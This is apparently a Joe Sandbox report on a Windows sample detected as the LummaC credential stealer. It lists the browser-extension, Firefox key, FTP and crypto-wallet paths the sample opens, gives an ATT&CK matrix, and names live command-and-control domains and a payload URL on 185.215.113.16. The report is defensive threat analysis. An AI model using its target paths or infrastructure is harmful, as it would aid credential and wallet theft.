Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PWCCAWLGRE	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2185903553.00000000014B9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2198545884.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2163406436.00000000014B7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2212575525.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2198875402.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2212815375.00000000014BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2215458427.00000000014BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2212601522.00000000014BD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2212774632.00000000014BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2163553412.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6188, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 6188, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Windows Service	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	223 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	Logon Script (Windows)	1 Windows Service	2 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	2 Process Injection	12 Software Packing	NTDS	761 Security Software Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Bypass User Account Control	Cached Domain Credentials	371 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	371 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	47%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\4EIXPY3PJ1MHC0SHPSNPXSN.exe	100%	Joe Sandbox ML

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
crisiwarny.store	14%	Virustotal		Browse
presticitpo.store	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	0%	URL Reputation	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
crisiwarny.store	172.67.170.64	true	true	14%, Virustotal, Browse	unknown
presticitpo.store	unknown	unknown	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Reputation
presticitpo.store	true	unknown
scriptyprefej.store	true	unknown
https://crisiwarny.store/api	true	unknown
necklacedmny.store	true	unknown
fadehairucw.store	true	unknown
navygenerayk.store	true	unknown
founpiuer.store	true	unknown
thumbystriw.store	true	unknown
crisiwarny.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2163868482.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163985089.0000000005A88000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2163868482.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163985089.0000000005A88000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2163868482.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163985089.0000000005A88000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	file.exe, 00000000.00000003.2200235248.0000000005A79000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.2200235248.0000000005A79000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/apif	file.exe, 00000000.00000003.2212575525.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2212601522.00000000014BD000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2163868482.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163985089.0000000005A88000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.2198736202.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exeL	file.exe, 00000000.00000003.2350147802.00000000014C9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375521318.00000000014CA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2163868482.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163985089.0000000005A88000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2198736202.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/apiFami	file.exe, 00000000.00000003.2348788505.00000000014AD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375413116.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2163868482.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163985089.0000000005A88000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000003.2200235248.0000000005A79000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/Y	file.exe, 00000000.00000003.2198545884.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2198875402.00000000014BA000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.2199879735.0000000005B92000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000000.00000003.2200235248.0000000005A79000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/j9P	file.exe, 00000000.00000002.2375214282.00000000013EE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2163868482.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163985089.0000000005A88000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/	file.exe, 00000000.00000002.2375413116.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.2200235248.0000000005A79000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2198736202.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2198736202.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2163868482.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163985089.0000000005A88000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	file.exe, 00000000.00000003.2200235248.0000000005A79000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.2198736202.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exe0J	file.exe, 00000000.00000003.2348788505.00000000014AD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375413116.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/apiB9	file.exe, 00000000.00000003.2247506217.00000000014D9000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000003.2348788505.0000000001440000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2348788505.00000000014AD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375274010.0000000001440000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2374995593.00000000010FA000.00000004.00000010.00020000.00000000.sdmp, file.exe, 00000000.00000003.2350147802.00000000014C9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375413116.00000000014AD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375521318.00000000014CA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/	file.exe, 00000000.00000003.2212728650.0000000005A7D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375467325.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2240244625.0000000005A79000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2348788505.00000000014B7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2350297688.00000000014B9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2247538157.0000000005A80000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163553412.00000000014BB000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://crisiwarny.store/-	file.exe, 00000000.00000003.2240410967.00000000014B9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2236234635.00000000014BA000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.2199879735.0000000005B92000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/apiob$	file.exe, 00000000.00000003.2236078870.00000000014D7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/off/def.exe3f	file.exe, 00000000.00000003.2348788505.00000000014AD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375413116.00000000014AD000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2163868482.0000000005A9F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163985089.0000000005A88000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.mozilla.or	file.exe, 00000000.00000003.2199748843.0000000005A9C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000003.2200235248.0000000005A79000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/s	file.exe, 00000000.00000003.2240410967.00000000014B9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2268093042.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2236234635.00000000014BA000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://crisiwarny.store/5	file.exe, 00000000.00000003.2349937830.00000000014B7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2375467325.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2348788505.00000000014B7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2350297688.00000000014B9000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.170.64	crisiwarny.store	United States		13335	CLOUDFLARENETUS	true
185.215.113.16	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543076
Start date and time:	2024-10-27 07:58:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/2@2/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target file.exe, PID 6188 because there are no executed function
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:59:01	API Interceptor	9x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.170.64	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
185.215.113.16	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	S92Ayq3U9A.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	D18h1ni3ZU.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
crisiwarny.store	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	https://duy38.r.ag.d.sendibm3.com/mk/cl/f/sh/1t6Af4OiGsF30wT9TF4ckLf3fAzx5z/28D7HenRXzOU	Get hash	malicious	LummaC	Browse	172.64.150.216
	Flech.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	8itMk7loon.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc, Vidar	Browse	188.114.96.3
	S92Ayq3U9A.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	SecuriteInfo.com.Win64.Malware-gen.4046.15809.exe	Get hash	malicious	EICAR	Browse	104.26.13.205
